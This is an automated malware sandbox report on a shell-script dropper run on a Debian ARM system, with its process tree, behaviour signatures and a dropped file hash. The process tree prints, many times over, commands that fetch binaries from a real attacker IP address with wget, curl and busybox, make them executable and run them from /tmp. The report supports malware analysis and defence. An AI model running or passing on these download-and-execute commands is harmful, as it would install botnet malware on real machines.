Analysis

  • max time kernel
    24s
  • max time network
    32s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    19/11/2024, 05:06

General

  • Target
    9ae435f868d708ec69ca905204c0849fafa428a84328778ecaf8e8336577992e.sh
  • Size 10KB
  • Sample241119-frtcdazrcv
  • SHA256 9ae435f868d708ec69ca905204c0849fafa428a84328778ecaf8e8336577992e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 14 IoCs
  • Checks CPU configuration 1 TTPs 14 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 28 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 14 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/9ae435f868d708ec69ca905204c0849fafa428a84328778ecaf8e8336577992e.sh
    /tmp/9ae435f868d708ec69ca905204c0849fafa428a84328778ecaf8e8336577992e.sh
    1⤵
      PID:648
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:650
        • /usr/bin/wget
          wget http://87.120.125.191/bins/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
          2⤵
            PID:655
          • /usr/bin/curl
            curl -O http://87.120.125.191/bins/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:663
          • /bin/busybox
            /bin/busybox wget http://87.120.125.191/bins/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
            2⤵
              PID:671
            • /bin/chmod
              chmod 777 OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
              2⤵
              • File and Directory Permissions Modification
              PID:674
            • /tmp/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
              ./OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
              2⤵
              • Executes dropped EXE
              PID:675
            • /bin/rm
              rm OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
              2⤵
                PID:676
              • /usr/bin/wget
                wget http://87.120.125.191/bins/WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
                2⤵
                  PID:678
                • /usr/bin/curl
                  curl -O http://87.120.125.191/bins/WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:682
                • /bin/busybox
                  /bin/busybox wget http://87.120.125.191/bins/WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
                  2⤵
                    PID:686
                  • /bin/chmod
                    chmod 777 WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
                    2⤵
                    • File and Directory Permissions Modification
                    PID:687
                  • /tmp/WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
                    ./WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
                    2⤵
                    • Executes dropped EXE
                    PID:688
                  • /bin/rm
                    rm WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
                    2⤵
                      PID:689
                    • /usr/bin/wget
                      wget http://87.120.125.191/bins/a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
                      2⤵
                        PID:690
                      • /usr/bin/curl
                        curl -O http://87.120.125.191/bins/a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:691
                      • /bin/busybox
                        /bin/busybox wget http://87.120.125.191/bins/a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
                        2⤵
                          PID:692
                        • /bin/chmod
                          chmod 777 a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
                          2⤵
                          • File and Directory Permissions Modification
                          PID:693
                        • /tmp/a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
                          ./a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
                          2⤵
                          • Executes dropped EXE
                          PID:694
                        • /bin/rm
                          rm a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
                          2⤵
                            PID:695
                          • /usr/bin/wget
                            wget http://87.120.125.191/bins/qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
                            2⤵
                              PID:696
                            • /usr/bin/curl
                              curl -O http://87.120.125.191/bins/qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:699
                            • /bin/busybox
                              /bin/busybox wget http://87.120.125.191/bins/qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
                              2⤵
                                PID:704
                              • /bin/chmod
                                chmod 777 qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
                                2⤵
                                • File and Directory Permissions Modification
                                PID:707
                              • /tmp/qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
                                ./qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
                                2⤵
                                • Executes dropped EXE
                                PID:709
                              • /bin/rm
                                rm qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
                                2⤵
                                  PID:710
                                • /usr/bin/wget
                                  wget http://87.120.125.191/bins/tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
                                  2⤵
                                    PID:711
                                  • /usr/bin/curl
                                    curl -O http://87.120.125.191/bins/tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:715
                                  • /bin/busybox
                                    /bin/busybox wget http://87.120.125.191/bins/tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
                                    2⤵
                                      PID:719
                                    • /bin/chmod
                                      chmod 777 tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:722
                                    • /tmp/tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
                                      ./tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
                                      2⤵
                                      • Executes dropped EXE
                                      PID:723
                                    • /bin/rm
                                      rm tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
                                      2⤵
                                        PID:725
                                      • /usr/bin/wget
                                        wget http://87.120.125.191/bins/vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
                                        2⤵
                                          PID:726
                                        • /usr/bin/curl
                                          curl -O http://87.120.125.191/bins/vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:730
                                        • /bin/busybox
                                          /bin/busybox wget http://87.120.125.191/bins/vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
                                          2⤵
                                            PID:734
                                          • /bin/chmod
                                            chmod 777 vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:737
                                          • /tmp/vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
                                            ./vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
                                            2⤵
                                            • Executes dropped EXE
                                            PID:738
                                          • /bin/rm
                                            rm vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
                                            2⤵
                                              PID:739
                                            • /usr/bin/wget
                                              wget http://87.120.125.191/bins/3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
                                              2⤵
                                                PID:741
                                              • /usr/bin/curl
                                                curl -O http://87.120.125.191/bins/3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:744
                                              • /bin/busybox
                                                /bin/busybox wget http://87.120.125.191/bins/3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
                                                2⤵
                                                  PID:752
                                                • /bin/chmod
                                                  chmod 777 3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:756
                                                • /tmp/3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
                                                  ./3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:757
                                                • /bin/rm
                                                  rm 3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
                                                  2⤵
                                                    PID:759
                                                  • /usr/bin/wget
                                                    wget http://87.120.125.191/bins/mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
                                                    2⤵
                                                      PID:760
                                                    • /usr/bin/curl
                                                      curl -O http://87.120.125.191/bins/mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:764
                                                    • /bin/busybox
                                                      /bin/busybox wget http://87.120.125.191/bins/mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
                                                      2⤵
                                                        PID:767
                                                      • /bin/chmod
                                                        chmod 777 mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:768
                                                      • /tmp/mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
                                                        ./mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:769
                                                      • /bin/rm
                                                        rm mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
                                                        2⤵
                                                          PID:770
                                                        • /usr/bin/wget
                                                          wget http://87.120.125.191/bins/9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
                                                          2⤵
                                                            PID:771
                                                          • /usr/bin/curl
                                                            curl -O http://87.120.125.191/bins/9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
                                                            2⤵
                                                            • Checks CPU configuration
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:772
                                                          • /bin/busybox
                                                            /bin/busybox wget http://87.120.125.191/bins/9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
                                                            2⤵
                                                              PID:773
                                                            • /bin/chmod
                                                              chmod 777 9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:774
                                                            • /tmp/9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
                                                              ./9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
                                                              2⤵
                                                              • Executes dropped EXE
                                                              PID:775
                                                            • /bin/rm
                                                              rm 9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
                                                              2⤵
                                                                PID:776
                                                              • /usr/bin/wget
                                                                wget http://87.120.125.191/bins/HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
                                                                2⤵
                                                                  PID:777
                                                                • /usr/bin/curl
                                                                  curl -O http://87.120.125.191/bins/HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
                                                                  2⤵
                                                                  • Checks CPU configuration
                                                                  • Reads runtime system information
                                                                  • Writes file to tmp directory
                                                                  PID:782
                                                                • /bin/busybox
                                                                  /bin/busybox wget http://87.120.125.191/bins/HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
                                                                  2⤵
                                                                    PID:787
                                                                  • /bin/chmod
                                                                    chmod 777 HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:790
                                                                  • /tmp/HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
                                                                    ./HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
                                                                    2⤵
                                                                    • Executes dropped EXE
                                                                    PID:791
                                                                  • /bin/rm
                                                                    rm HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
                                                                    2⤵
                                                                      PID:792
                                                                    • /usr/bin/wget
                                                                      wget http://87.120.125.191/bins/lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
                                                                      2⤵
                                                                        PID:793
                                                                      • /usr/bin/curl
                                                                        curl -O http://87.120.125.191/bins/lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
                                                                        2⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        • Writes file to tmp directory
                                                                        PID:797
                                                                      • /bin/busybox
                                                                        /bin/busybox wget http://87.120.125.191/bins/lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
                                                                        2⤵
                                                                          PID:804
                                                                        • /bin/chmod
                                                                          chmod 777 lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
                                                                          2⤵
                                                                          • File and Directory Permissions Modification
                                                                          PID:807
                                                                        • /tmp/lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
                                                                          ./lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
                                                                          2⤵
                                                                          • Executes dropped EXE
                                                                          PID:809
                                                                        • /bin/rm
                                                                          rm lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
                                                                          2⤵
                                                                            PID:810
                                                                          • /usr/bin/wget
                                                                            wget http://87.120.125.191/bins/AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
                                                                            2⤵
                                                                              PID:811
                                                                            • /usr/bin/curl
                                                                              curl -O http://87.120.125.191/bins/AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
                                                                              2⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              • Writes file to tmp directory
                                                                              PID:816
                                                                            • /bin/busybox
                                                                              /bin/busybox wget http://87.120.125.191/bins/AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
                                                                              2⤵
                                                                                PID:820
                                                                              • /bin/chmod
                                                                                chmod 777 AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
                                                                                2⤵
                                                                                • File and Directory Permissions Modification
                                                                                PID:824
                                                                              • /tmp/AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
                                                                                ./AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
                                                                                2⤵
                                                                                • Executes dropped EXE
                                                                                PID:825
                                                                              • /bin/rm
                                                                                rm AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
                                                                                2⤵
                                                                                  PID:826
                                                                                • /usr/bin/wget
                                                                                  wget http://87.120.125.191/bins/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
                                                                                  2⤵
                                                                                    PID:827
                                                                                  • /usr/bin/curl
                                                                                    curl -O http://87.120.125.191/bins/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
                                                                                    2⤵
                                                                                    • Checks CPU configuration
                                                                                    • Reads runtime system information
                                                                                    • Writes file to tmp directory
                                                                                    PID:828
                                                                                  • /bin/busybox
                                                                                    /bin/busybox wget http://87.120.125.191/bins/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
                                                                                    2⤵
                                                                                      PID:829
                                                                                    • /bin/chmod
                                                                                      chmod 777 iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
                                                                                      2⤵
                                                                                      • File and Directory Permissions Modification
                                                                                      PID:830
                                                                                    • /tmp/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
                                                                                      ./iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
                                                                                      2⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:831
                                                                                    • /bin/rm
                                                                                      rm iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
                                                                                      2⤵
                                                                                        PID:832
                                                                                      • /usr/bin/wget
                                                                                        wget http://87.120.125.191/bins/O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
                                                                                        2⤵
                                                                                          PID:833
                                                                                        • /usr/bin/curl
                                                                                          curl -O http://87.120.125.191/bins/O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
                                                                                          2⤵
                                                                                          • Checks CPU configuration
                                                                                          • Reads runtime system information
                                                                                          • Writes file to tmp directory
                                                                                          PID:834
                                                                                        • /bin/busybox
                                                                                          /bin/busybox wget http://87.120.125.191/bins/O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
                                                                                          2⤵
                                                                                            PID:835
                                                                                          • /bin/chmod
                                                                                            chmod 777 O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
                                                                                            2⤵
                                                                                            • File and Directory Permissions Modification
                                                                                            PID:836
                                                                                          • /tmp/O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
                                                                                            ./O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
                                                                                            2⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:837
                                                                                          • /bin/rm
                                                                                            rm O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
                                                                                            2⤵
                                                                                              PID:838
                                                                                            • /usr/bin/wget
                                                                                              wget http://87.120.125.191/bins/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
                                                                                              2⤵
                                                                                                PID:839

                                                                                            Network

                                                                                                  MITRE ATT&CK Enterprise v15

                                                                                                  Replay Monitor

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                                                                                                  Downloads

                                                                                                  OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj

                                                                                                  • Path /tmp/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
                                                                                                  • Size 153B
                                                                                                  • SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
                                                                                                  • MD5 SHA1 SHA512